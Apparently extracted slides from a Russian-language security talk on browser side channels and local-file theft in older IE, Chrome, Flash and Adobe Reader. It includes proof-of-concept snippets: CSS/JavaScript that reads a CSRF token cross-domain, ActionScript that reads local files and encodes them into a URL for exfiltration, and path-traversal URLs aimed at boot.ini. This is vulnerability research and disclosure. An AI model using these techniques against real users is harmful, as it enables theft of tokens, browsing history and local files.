2. Google browser security handbook
Наиболее полное описание
уязвимостей и механизмов
безопасности, применяющихся в
браузерах.
Рассмотрим часть 2, главу "Life outside
same-origin rules" раздел "Privacy-related
side channels".
http://code.google.com/p/browsersec/wiki/Part2
3. Google browser security handbook
Reading back CSS :visited class on
links
Full-body CSS theft (Chris Evans
03/09/2010)
Resource inclusion probes with onload
and onerror checks.
Image size fingerprinting
Cache timing
General resource timing (Chris Evans
11/12/2009)
4. Reading back CSS :visited class
on links (J.Ruderman at 2010)
Для посещенных ссылок автоматически
меняется цвет.
В любом HTML документе, цвет ссылки можно
прочитать через .getComputedStyle или .
currentStyle (cross-domain).
Если цвет ссылки поменялся, то
злоумышленник делает вывод, что в истории
жертвы есть целевая страница.
Перебирая адреса страниц, злоумышленник
получает историю посещений жертвы.
5. Full-body CSS theft (Chris Evans
2010, only IE8)
Браузеры воспринимают HTML как CSS, который
можно подключить через <STYLE>
В HTML могут быть конфиденциальные данные
(например, CSRF токен)
Конф. данные можно получить благодаря гибкому
CSS парсеру, встроенному в браузер.
<style>
@import url("http://twitter.com/scarybeaststest");
</style>
var borrowed = document.body.currentStyle.fontFamily;
var i = borrowed.indexOf("authenticity_token = '");
borrowed = borrowed.substring(i + 22);
6. Resource inclusion probes with
onload and onerror checks
Браузеры вызывают события onload/onerror в
зависимости от HTTP статуса загрузки документа
При загрузке страниц с других доменов в тэгах:
<SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED>
<IFRAME> <FRAME> отправляется запрос с
аутентификационными данными (COKIES)
Веб-приложения часто имеют страницы, HTTP
статус которых зависит от авторизации
пользователя (HTTP 3xx, HTTP 4xx)
Злоумышленник проверяет текущий статус
авторизации жертвы на целевом домене с любой
страницы.
7. Image size finderprinting
Браузеры автоматически присваивают реальные
размеры загруженному на страницу изображению
При загрузке картинок с других доменов в тэге
<IMG> отправляется запрос с
аутентификационными данными (COKIES)
Веб-приложения часто имеют динамические
картинки, высота и ширина которых зависит от
статуса авторизации пользователя (или др. прав)
Злоумышленник проверяет текущий статус
авторизации жертвы на целевом домене с любой
страницы.
8. Cache timing
После посещения страницы, она копируется в кэш
браузера - локальные данные ПК
Если страница находится к кэше, ее загрузка
осуществляется существенно быстрее
(пропорционально размеру страницы)
Злоумышленник может проверить наличие
страницы в кэше браузера жертвы зная время ее
загрузки (IFRAME -> onload event)
9. General resource timing (Chris
Evans 11/12/2009)
Часто размер динамической страницы веб-
приложения зависит от статуса авторизации
пользователя
Если пользователь авторизован, время загрузки
страницы будет отличаться от случая, когда
пользователь не авторизован
Злоумышленник может проверить статус
авторизации жертвы зная время ее загрузки
(IFRAME -> onload event)
10. Новое в Image size finderprinting.
Internet Explorer 8, 9, 10 (platform preview)
поддерживают свойство fileSize для объектов image
(<img>) и document, что позволяет получить размер
картинки в байтах
fileSize позволяет сильно улучшить зону покрытия
метода
Метод можно использовать не только для проверки
авторизации, но и для проверки наличия локальных
файлов картинок при открытии HTML в зоне file://
11. Механизмы загрузки файлов в
браузерах
Можно ли загрузить произвольный файл на диск
без согласия пользователя?
Можно ли предугадать путь к загруженному файлу?
12. Механизмы кэширования в
браузерах
Рассмотрим как кэш браузера храниться на диске
(файлы, SQLite).
В каких случаях кэшированные страницы можно
использовать как локальные HTML из того же
браузера
13. Cache finderprinting (Chrome)
Требует локального HTML с кодом PoС
Используем размеры картинок как сигнатуры
для распознавания сайтов в кэше.
Можно определить размер кэша с точностью N,
где N - среднее количество файлов кэша, на
которое приходиться одна картинка
14. Cache finderprinting (Chrome)
Почему работает метод?
Кэш храниться в виде раздельных локальных
файлов
Возможен доступ к файлам с кэшем из
браузера
Имена кэш-файлов предугадываемые
(нумерованные)
Image size finderprinting
На проверяемом сайте есть картинка
уникальных размеров или их
последовательность:
В примере:
Youtube: 113x392,
Google: 284x189 && 167x253
15. Local files access (HTML)
Можно ли получить содержимое локальных
файлов через .innerHTML?
Как проверить наличие произвольного
локального файла с ФС?
16. Local files access (SWF)
Файл должен быть собран с опцией (Flex)
--use-network=false
Плагин должен быть открыт в зоне file://
private function getData(name:String):void{
var url:URLRequest=new URLRequest(name);
var loader:URLLoader=new URLLoader();
loader.addEventListener(Event.COMPLETE,populate);
loader.load(url); }
private function sendData(host:String,data:String):void{
var enc:Base64Encoder=new Base64Encoder();
enc.encode(data);
data=enc.toString();
navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self");
} http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf
http://xs-sniper.com/blog/2011/01/04/bypassing-flash%
E2%80%99s-local-with-filesystem-sandbox/
17. Local files access (SWF)
http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf
http://xs-sniper.com/blog/2011/01/04/bypassing-flash%
E2%80%99s-local-with-filesystem-sandbox/
18. Local files access (PDF)
Adobe 908
Adobe 925
We will begin our investigation
based on that information.
In the meantime, we ask that
you do not publicly disclose
this potential issue, in order to
protect Adobe's customers.
This has been assigned the
Adobe tracking number 908.
19. Pri-1
Area-Internals
SecSeverity-
From http:// to file:// (Chrome) Medium
Type-Security
Mstone-11
Issue 72492 (Feb 9, 2011)
Из командой строки (.lnk файлов) URL вида http:
//google.com/../../../../../../../../../../boot.ini ведет на C:
/boot.ini
Из ссылок в приложениях (GTalk,ICQ,Skype) надо
обойти встроенную нормализацию:
http://www.google.ru?q=OMFG../#a/../../../../../../../../../../..
/boot.ini
Можно вызвать через PDF документ
расположенный в зоне http://:
app.launchURL("http://../../../../../../../boot.ini",true)
20. Pri-1
Area-Internals
SecSeverity-
From http:// to file:// (Chrome) Medium
Type-Security
Mstone-11
21. Атака из топора (stealing local file
from remote in Chrome
11.0.696.68)
22. Атака из топора (stealing local file
from remote in Chrome
11.0.696.68)
23. Что нас ждет? GUI уязвимости
URL spoofing
PKI spoofing
Action spoofing
Dialogs bypass